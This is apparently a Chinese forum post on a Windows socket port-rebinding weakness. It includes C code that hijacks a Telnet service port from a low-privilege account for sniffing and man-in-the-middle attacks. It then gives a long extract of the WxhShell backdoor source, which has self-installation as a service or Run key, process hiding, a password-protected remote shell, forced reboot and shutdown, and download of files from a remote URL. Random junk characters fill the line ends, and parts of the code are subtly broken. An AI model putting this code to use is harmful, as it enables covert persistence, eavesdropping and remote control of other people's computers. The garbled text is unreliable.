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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RB*z."  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SF:{PgGMi  
 w<!&%  
  saddr.sin_family = AF_INET; HQ=pf >  
ZTqt4H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $l.8  
;W+1 H !  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :#sBNy  
%#4;'\'5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;j;U9-oh  
 WSeiW  
  这意味着什么?意味着可以进行如下的攻击: M7Z&t'=  
(?uK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8KP   
0V8G9Gj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q$'\_zV  
?vD<_5K; I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ML$#&Z@ *7  
j&.JAQ*2;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6,CK1j+tZ  
Yx. t+a-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #0*I|gfV  
n|=yw6aV'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @DM NL sQ  
ZFX}=?+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 : +^`VLIf  
N8r+Q%ov  
  #include `.VkR5/  
  #include PMQ31f/zf  
  #include c}=[r1M*  
  #include    &,XPMT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |M<R{Tt}nf  
  int main() } -hH2  
  { \sVzBHy d  
  WORD wVersionRequested; EG=U](8T  
  DWORD ret; },5LrX`L  
  WSADATA wsaData; [A!=Hv_$  
  BOOL val; H lFVc  
  SOCKADDR_IN saddr; {![E)~  
  SOCKADDR_IN scaddr; XxB%  
  int err; |QH )A  
  SOCKET s; z}VCiS0  
  SOCKET sc; B%[#["Ol  
  int caddsize; |SJ%Myy  
  HANDLE mt; ^CDh! )  
  DWORD tid;   Bt\V1)  
  wVersionRequested = MAKEWORD( 2, 2 ); I.6#>=  
  err = WSAStartup( wVersionRequested, &wsaData ); =`(\]t"I  
  if ( err != 0 ) { aQ 6T2bQ  
  printf("error!WSAStartup failed!\n"); hA~5,K0b  
  return -1; 6NFLk+kqN  
  } OH+2)X  
  saddr.sin_family = AF_INET; TSL/zTLDJ  
   mp]UUpt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #eI` l`}  
+(q r{G?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,qgR+]?({  
  saddr.sin_port = htons(23); 6l>016 x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aJNsJIY+  
  { ).C>>1ZC  
  printf("error!socket failed!\n"); k|_ >I  
  return -1; cz>`$Zz  
  } "Jyb?5  
  val = TRUE; 7.^1I7O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <l9qhqHv&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =)6|lz^  
  { BxxqzN+  
  printf("error!setsockopt failed!\n"); t9 id^  
  return -1; {K=[Fu=  
  } {}PBYX R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zgpv I~Ck  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~]K<V h`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7XIG ne%v  
}W]k1Bsx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f7]C1!]  
  { f%d =X>_  
  ret=GetLastError(); 2-wvL&pi)  
  printf("error!bind failed!\n"); l]e7  
  return -1; !jJH}o/KW  
  } na4^RPtN\e  
  listen(s,2); Y2p~chx9  
  while(1) 5th\_n}N2/  
  { BA0.B0+"  
  caddsize = sizeof(scaddr); dG]s_lb9H  
  //接受连接请求 5HbPS%^.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Vuo 8[h>  
  if(sc!=INVALID_SOCKET) {[B`q  
  { iuq%Q\0@w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [Hp"a^~r|  
  if(mt==NULL) G|]39/OO3{  
  { 6sRKbp|r7  
  printf("Thread Creat Failed!\n"); h<2O+"^  
  break; <~qhy{hRn  
  } 9_S>G$9D  
  } |a Ht6F  
  CloseHandle(mt); W r;?t!  
  } p>]2o\["  
  closesocket(s); 2KmPZ&r  
  WSACleanup(); J $<g" z3  
  return 0; & 5YI!; q,  
  }   al\ R(\p|  
  DWORD WINAPI ClientThread(LPVOID lpParam) cvf#^Cu   
  { S)\%.~ n  
  SOCKET ss = (SOCKET)lpParam; ep"54o5=d  
  SOCKET sc; C,m o4,Q  
  unsigned char buf[4096]; 4q5bW+$Xj  
  SOCKADDR_IN saddr; ?l<u%o  
  long num; n\y%5J+  
  DWORD val; lN^} qg><  
  DWORD ret; [P_1a`b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KI Ua  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wKAc ;!  
  saddr.sin_family = AF_INET; (Sg52zv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^E8eW  
  saddr.sin_port = htons(23); ~\m|pxcj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NLxsxomj  
  { Q:B:  
  printf("error!socket failed!\n"); @v,qfT*k7  
  return -1; MoP 0qNk  
  } M9b_Q  
  val = 100; :3Z"Qk$uR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /\9X0a2h|E  
  { l;g8_uyjv7  
  ret = GetLastError(); .<`Rq'  
  return -1; L~jKx)S%  
  } IZ6[|Ach6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +H L]t'UEg  
  { Et+N4w  
  ret = GetLastError(); .ZrQ{~t  
  return -1; ^dR5fAS  
  } &H{KXX"X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q4MTedj1H  
  { }A"%YDrNbG  
  printf("error!socket connect failed!\n"); LJMw-#61sj  
  closesocket(sc); }0Q6iHX@  
  closesocket(ss); 1vQj` F  
  return -1; [Hww3+~+  
  } ukSi9| 1-,  
  while(1) 8W"~>7/>D  
  { eS jXaZh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5sq#bvfJ o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 * 5#Y [c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YDyi6x,  
  num = recv(ss,buf,4096,0); BjR:#*<qD  
  if(num>0) pFg9-xd%  
  send(sc,buf,num,0); Z\y@rp\l  
  else if(num==0) eID"&SSU  
  break; HBL)_c{/O  
  num = recv(sc,buf,4096,0); p' FYK|  
  if(num>0) Bk 1Q.Un  
  send(ss,buf,num,0); .Go3'$'v  
  else if(num==0) 9)QvJ87e@7  
  break; V< @]Iv  
  } |:tFQ.Z'2  
  closesocket(ss); W/uaNp  
  closesocket(sc); iCIu]6  
  return 0 ; a-,BBM8|  
  } >w?O?&Q$  
$IQ  !g  
dHnId2@#  
========================================================== &Fl^&&1C  
zTP3JOe(  
下边附上一个代码,,WXhSHELL l 49)Cv/  
INrUvD/*  
========================================================== S3Tww]q  
AtA}OY]D /  
#include "stdafx.h" lV^sVN Z]  
xgtdmv%  
#include <stdio.h> 8_ns^6XK5p  
#include <string.h> 52>?l C  
#include <windows.h> kG+CT  
#include <winsock2.h> c|Nv^V*2  
#include <winsvc.h> b#.hw2?a`  
#include <urlmon.h> - iS\3P.  
#uT-_L}s w  
#pragma comment (lib, "Ws2_32.lib") $_l@k=  
#pragma comment (lib, "urlmon.lib") 0bpl3Fh.v  
Db= iJ68  
#define MAX_USER   100 // 最大客户端连接数 k"V3FXC)  
#define BUF_SOCK   200 // sock buffer 3 $Uv  
#define KEY_BUFF   255 // 输入 buffer [Qv%  
5sx-u!7  
#define REBOOT     0   // 重启 Xt/muV  
#define SHUTDOWN   1   // 关机 R{+ Rvk  
3Cwqy#X#8  
#define DEF_PORT   5000 // 监听端口 VWmZ|9Ri  
o;\0xuM@  
#define REG_LEN     16   // 注册表键长度 7k:}9M~  
#define SVC_LEN     80   // NT服务名长度 ?PSm) ~ Oa  
rBkf@  
// 从dll定义API Vl?R?K=`~J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OlFls 8#>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kN;l@>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oHbEHS61  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ' d1E~A  
#Qy*zU#9  
// wxhshell配置信息 >\$qF  
struct WSCFG { gNzQ"W=  
  int ws_port;         // 监听端口 nKh._bvfX  
  char ws_passstr[REG_LEN]; // 口令 kkFE9:[-c&  
  int ws_autoins;       // 安装标记, 1=yes 0=no r+>E`GGQ  
  char ws_regname[REG_LEN]; // 注册表键名 Ps.O.2Z5ZB  
  char ws_svcname[REG_LEN]; // 服务名 uyxU>yHV<g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >u~ [{(d ,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >&aFSL,f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rGRxofi.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v)+wr[Qs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f 7et  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sN 7I~  
+vLuzM-  
}; 'sY>(D*CQ  
^,b*.6t  
// default Wxhshell configuration T8ZBQ;o  
struct WSCFG wscfg={DEF_PORT, FymA_Eq  
    "xuhuanlingzhe", OgS6#X  
    1, qw0tw2|  
    "Wxhshell", z(>{"t<C  
    "Wxhshell", @iy ^a  
            "WxhShell Service", ?a~=CC@  
    "Wrsky Windows CmdShell Service", PQXyu1  
    "Please Input Your Password: ", [FC7+ Ey^  
  1, 7|T5N[3?l,  
  "http://www.wrsky.com/wxhshell.exe", @C7S^|eo  
  "Wxhshell.exe" <k5FlvE2  
    }; $ZXy&?4  
r[ ' T.yo  
// 消息定义模块 0d:t$2~C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ay'= M`uO_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [={pF q`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (OYR, [*  
char *msg_ws_ext="\n\rExit."; 6k42>e*p  
char *msg_ws_end="\n\rQuit."; Q{H88g^=J  
char *msg_ws_boot="\n\rReboot..."; \h :Rw|  
char *msg_ws_poff="\n\rShutdown..."; Zo;@StN3}T  
char *msg_ws_down="\n\rSave to "; =1^Ru*G  
~DPg):cZ  
char *msg_ws_err="\n\rErr!"; {j,bV6X  
char *msg_ws_ok="\n\rOK!"; 2ADUJ  
%zd1\We  
char ExeFile[MAX_PATH]; W]_+3qvZ  
int nUser = 0; LZM[Wg#  
HANDLE handles[MAX_USER]; .ymR%X_k  
int OsIsNt; *2 4P T7  
<jw`"L[D  
SERVICE_STATUS       serviceStatus; ]BP/KCjAI<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3oxQ[.o  
X5qU>'?`  
// 函数声明 wv ,F>5P  
int Install(void); A T+|}B!  
int Uninstall(void); ZGzrh`j{-  
int DownloadFile(char *sURL, SOCKET wsh); .pi#Z /v  
int Boot(int flag); ;#3!ZB:}  
void HideProc(void); U v[:Aj  
int GetOsVer(void); 6}x^ T)R  
int Wxhshell(SOCKET wsl); `wB(J%w  
void TalkWithClient(void *cs); sryujb.,  
int CmdShell(SOCKET sock); 0UWLs_k:  
int StartFromService(void); W}WGg|ug  
int StartWxhshell(LPSTR lpCmdLine); )+oDa{dZ  
1 < <`T%&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C?bPdJ,6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B HoZ}1_  
y= cBpC  
// 数据结构和表定义 /%Rz`}  
SERVICE_TABLE_ENTRY DispatchTable[] = VV?+q)  
{ O<iE,PN)  
{wscfg.ws_svcname, NTServiceMain}, 4'Vuhqk  
{NULL, NULL} z6|P]u  
}; u+[ZWhKUp  
<R*.T)Z1  
// 自我安装 )f(#Fn  
int Install(void) h k(2,z  
{ vsqfvx  
  char svExeFile[MAX_PATH]; 0RYh4'=F  
  HKEY key; `"zX<  
  strcpy(svExeFile,ExeFile); D>?%p"e  
b,KQG|k  
// 如果是win9x系统,修改注册表设为自启动 kIrME:  
if(!OsIsNt) { f*1.Vg0`-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  7I^(v Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x?va26FV  
  RegCloseKey(key); w;}P<K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %Ni)^   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 46Nl];g1`  
  RegCloseKey(key); HR\yJt  
  return 0; IA$:r@QNx8  
    } =6ZZ/+6b  
  } iZg v VH  
} N=zrY`Vd  
else { r$=iM:kERC  
~-A5h(  
// 如果是NT以上系统,安装为系统服务 3 5B0L.R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g>/,},jv[x  
if (schSCManager!=0) ^Ml)g=Fq  
{ Rl.3p<sX  
  SC_HANDLE schService = CreateService zK k;&y|{  
  ( 'F5&f9 A  
  schSCManager, rzLpVpTaz  
  wscfg.ws_svcname, X*]uLgbl  
  wscfg.ws_svcdisp, ;pBSGr 9  
  SERVICE_ALL_ACCESS, *-3K],^a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yJppPIW^  
  SERVICE_AUTO_START, ~>k<I:BtrT  
  SERVICE_ERROR_NORMAL, < :<E~anH  
  svExeFile, A%k@75V@  
  NULL, owmV7E1  
  NULL, 8}XtVF;  
  NULL, L'H'E,  
  NULL, 9K@`n:Rw  
  NULL C6M|A3^T  
  ); ;R@zf1UYA  
  if (schService!=0) :JV= Kt  
  { QO[!  
  CloseServiceHandle(schService); #[qmhU{s  
  CloseServiceHandle(schSCManager); c] $X+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ltwX-   
  strcat(svExeFile,wscfg.ws_svcname); ;v^tUyhCb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2h IM!wQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jdK~]eld=  
  RegCloseKey(key); {SY@7G]  
  return 0; GXr9J rs.e  
    } E<:XHjm  
  } Ew*_@hVC  
  CloseServiceHandle(schSCManager); "4<RMYQ  
} WJ<nc+/v:  
} f<=<:+  
IGV@tI  
return 1; ONH!ms(kb  
} 07[A&B!  
yAy~|1}  
// 自我卸载 @i'RIL}  
int Uninstall(void) ^ r-F@$:.  
{ e=<knKc Q  
  HKEY key; EcxPbRg  
yS^";$2Tc  
if(!OsIsNt) { $A;jl`ng  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R9A8)dDz  
  RegDeleteValue(key,wscfg.ws_regname); n sKl3}uU  
  RegCloseKey(key); v8Vw.Ce`f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q_bE?j{  
  RegDeleteValue(key,wscfg.ws_regname); i,r O3J n  
  RegCloseKey(key); cY8X A6  
  return 0; {F6>XuS=u  
  } Jz&a9  
} )_k"_VVcC  
} [fx1H~T<  
else { VG0Ty;bV  
 J -tOO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <o@&I " o  
if (schSCManager!=0) DDxbIkt  
{ R4"*<%1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4[m})X2(  
  if (schService!=0) >L\$  
  { a8ya5EO  
  if(DeleteService(schService)!=0) { %sxLxx_x!  
  CloseServiceHandle(schService); \UA\0p  
  CloseServiceHandle(schSCManager); @ x_.  
  return 0; h sG~xRA\  
  } BmR++?L  
  CloseServiceHandle(schService); XtY!fo *  
  } zmH8^:-x  
  CloseServiceHandle(schSCManager); +`tl<r g;  
}  ;wo  
} l r80RL'_  
p)6!GdT  
return 1; R= ,jqW<  
} Z6s-n$dSm  
JjA3G`m=  
// 从指定url下载文件 KZy2c6XO;  
int DownloadFile(char *sURL, SOCKET wsh) tpu2e*n-|  
{ G"k.sRKu  
  HRESULT hr; HYcLXhvgu  
char seps[]= "/"; G>Fk )  
char *token; \WS2g"(  
char *file; 8T6LD  
char myURL[MAX_PATH]; ^*s DJ #  
char myFILE[MAX_PATH]; Yc~(W ue  
%Ms"LoK  
strcpy(myURL,sURL); X$*MxMNs  
  token=strtok(myURL,seps); Pq\ `0/4_  
  while(token!=NULL) kY>jp@w V  
  { {1?94rz  
    file=token; ]oT8H?%*Y  
  token=strtok(NULL,seps); ] V|hDU=t  
  } di.yh3N$  
e"}JHXs  
GetCurrentDirectory(MAX_PATH,myFILE); Lk%`hsv  
strcat(myFILE, "\\"); .8o?`  
strcat(myFILE, file); G47(LE"2b  
  send(wsh,myFILE,strlen(myFILE),0); !8g419Yg  
send(wsh,"...",3,0); M3XG s|gw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fl0(n #L  
  if(hr==S_OK) /q| r!+  
return 0; L hp  
else x,wXR=H  
return 1; V52>K$j  
rR Kbs@1M  
} EPEWyGw  
pbCj ^  
// 系统电源模块 bG0 |+k3O  
int Boot(int flag) *y+N-uq  
{ 4^r4O#  
  HANDLE hToken; oX=dJJ E  
  TOKEN_PRIVILEGES tkp; v~8Cp C  
8F>u6Y[P  
  if(OsIsNt) { (Q5rOrA"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9sP;s^#t7U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j_I[k8z  
    tkp.PrivilegeCount = 1; n?KhBJx 4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q ~%'V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4nsc`Hu  
if(flag==REBOOT) { ]ilQq~X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1.9bU/X  
  return 0; (@DqKB  
} e{Q;,jsh  
else { ]?< wUd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jgvzp  
  return 0; v)p'0F#6A  
} HNJR&U t  
  } ?^whK<"]  
  else { {EfA#{x  
if(flag==REBOOT) { 8Y]% S9.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HVJqDF  
  return 0; @T"-%L8PL  
} 9^L{)t>  
else { [vGkr" =  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t$Bu<frQ  
  return 0; eMV{rFmT  
} >'lvZt  
} 4#Xz-5v  
nt]'>eX_}  
return 1; SK5_^4  
} A`--*$8\  
Z2U6<4?1%  
// win9x进程隐藏模块 S:K$fFcJ  
void HideProc(void) GlHP`&;UH  
{  >akC  
<~*[OwN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pO/vD~C>  
  if ( hKernel != NULL ) d,b]#fj  
  { J(G-c5&=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q@G}Hjn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xnC:?d  
    FreeLibrary(hKernel); ]v/pMg#-  
  } 2,Aw 6h;  
p"FWAC!  
return; xk  
} .VR ~[aD  
d[{!^,%x"  
// 获取操作系统版本 Z l;TS%$  
int GetOsVer(void) VJ8'T"^Hf  
{ ?@z/#3b  
  OSVERSIONINFO winfo; 0x,**6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]WzeJ"r {3  
  GetVersionEx(&winfo); a)4%sX*I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OkAgO3>Y/  
  return 1; `T+w5ONn  
  else 1S(n3(KRk$  
  return 0; 0K6My4d{  
} .R@s6}C`}=  
aZ|?i }  
// 客户端句柄模块 M KX+'p\w  
int Wxhshell(SOCKET wsl) LzJ`@0RrX  
{ s q;!5qK  
  SOCKET wsh; /k[8xb  
  struct sockaddr_in client; p>O/H1US;  
  DWORD myID; v`c;1?=,q  
eh%{BXW[p  
  while(nUser<MAX_USER) H0!$aO  
{ t`'jr=e,~  
  int nSize=sizeof(client); LXWI'nxV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qco uZO  
  if(wsh==INVALID_SOCKET) return 1; %Oo f/q  
\4LTViY]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fg 8lX9L  
if(handles[nUser]==0) \>>P%EU,  
  closesocket(wsh); qe'ssX;  
else )7]yzc  
  nUser++; SuB8mPn  
  } gTgoS:M"_O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,2 rfN"o  
7AS_Aw1L  
  return 0; Vhh=GJ  
} kt0xR)gU  
[KFCc_:  
// 关闭 socket [Y$ TVwFwX  
void CloseIt(SOCKET wsh) Kj"X!-  
{ 0 )cSm"s  
closesocket(wsh); kMK0|+  
nUser--; NjT*5 .  
ExitThread(0); )#8g<]q  
}  \m~p;B  
: 8j7}'  
// 客户端请求句柄 ?;_>BX|Zjl  
void TalkWithClient(void *cs) 6bc\ )n`  
{ @D !*@M6  
x;sc?5_`  
  SOCKET wsh=(SOCKET)cs; u#rbc"  
  char pwd[SVC_LEN]; _G-y{D_S&  
  char cmd[KEY_BUFF]; u]7wd3(  
char chr[1]; a??8)=0|}  
int i,j; }3_b%{  
_9t1 aP5  
  while (nUser < MAX_USER) { f>$RR_  
t$~'$kM)<  
if(wscfg.ws_passstr) { }IZw6KiN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b1cVAfUP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g`Cv[Pq?at  
  //ZeroMemory(pwd,KEY_BUFF); <xF]ca  
      i=0; T)OR HJ&,  
  while(i<SVC_LEN) { z6l'v~\  
M2w'cdHk  
  // 设置超时 0^dYu /i5  
  fd_set FdRead; |,5|ZpgL  
  struct timeval TimeOut; ^9Cu?!xu0  
  FD_ZERO(&FdRead); b}ya9tCl;  
  FD_SET(wsh,&FdRead); D*[J rq,  
  TimeOut.tv_sec=8; 1AN$s  
  TimeOut.tv_usec=0; Osm))Ua(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _<{<b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &^DVSVqs^  
=EMB~i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f+hHc8g  
  pwd=chr[0]; );VuZsmi  
  if(chr[0]==0xd || chr[0]==0xa) { >;hAw!|#  
  pwd=0; P_NF;v5 v  
  break; T}=^D=  
  } N) _24  
  i++; M2|h.+[Q  
    } E/a2b(,Tg  
pc0{  
  // 如果是非法用户,关闭 socket Y1I)w^}:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A]'jsv!+  
} H!Q72tyo  
9$z$yGjl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D?"P\b[/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DE/SIy?  
isd-b]@:Lc  
while(1) { TUC)S&bC  
YfB)TK\W9/  
  ZeroMemory(cmd,KEY_BUFF); B+U:=591  
^7gKs2M  
      // 自动支持客户端 telnet标准   vVw@^7U  
  j=0; T9w=k)  
  while(j<KEY_BUFF) { 8$A0q%n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K_YOp1  
  cmd[j]=chr[0]; 1J/'R37lP  
  if(chr[0]==0xa || chr[0]==0xd) { QJ4$) Fr(  
  cmd[j]=0; l;@+=uVDHm  
  break; y42 Cg  
  } (~zu4^9w  
  j++; `qs}L  
    } X1`3KqK<9  
C&H'?0Y@  
  // 下载文件 *$-X&.h[  
  if(strstr(cmd,"http://")) { dGBjV #bNT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,7Hyrx`  
  if(DownloadFile(cmd,wsh)) n]' r3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G@`F{l  
  else HS{Vohy>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } #H,oy;Dz  
  } oC>J{z  
  else { 3;BIwb_  
2wY|E<E  
    switch(cmd[0]) { &=kv69v  
  <z,)4z++  
  // 帮助 e6j1Fa9  
  case '?': { FefroaJ:u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >pfeP"[(3  
    break; N:| :L:<1  
  } x5Lbe5/P  
  // 安装 :,JaOn'  
  case 'i': { MZ,1mR  
    if(Install()) yqq1a o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9hIKx:XCg  
    else G9Uc }z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 3PRb<q  
    break; JK =A=  
    } JFm@jc  
  // 卸载 /\/^= j  
  case 'r': { B&a{,.m&q6  
    if(Uninstall()) gA(npsUHI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1WMZ$vsQUb  
    else fAULuF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j;-Wf6h{  
    break; >6 o <Q  
    } larv6ncV  
  // 显示 wxhshell 所在路径 C{J5:ak  
  case 'p': { ~{Iw[,MJ  
    char svExeFile[MAX_PATH]; AfTm#-R  
    strcpy(svExeFile,"\n\r"); eA!Z7 '  
      strcat(svExeFile,ExeFile);  _'!?fA  
        send(wsh,svExeFile,strlen(svExeFile),0); 8IlUbj  
    break; YP02/*'  
    } OCx'cSs-=  
  // 重启 eVfD&&@  
  case 'b': { z[c8W@OJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PuP"( M  
    if(Boot(REBOOT)) k={D!4kKz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;-u]@35  
    else { qIZ+%ZOu  
    closesocket(wsh); #,#_"  
    ExitThread(0); 9A.NM+u7  
    } DS(>R!bb  
    break; +yO) 3  
    } }h;Z_XF&  
  // 关机 G!I++M"  
  case 'd': { %Y ZC dS  
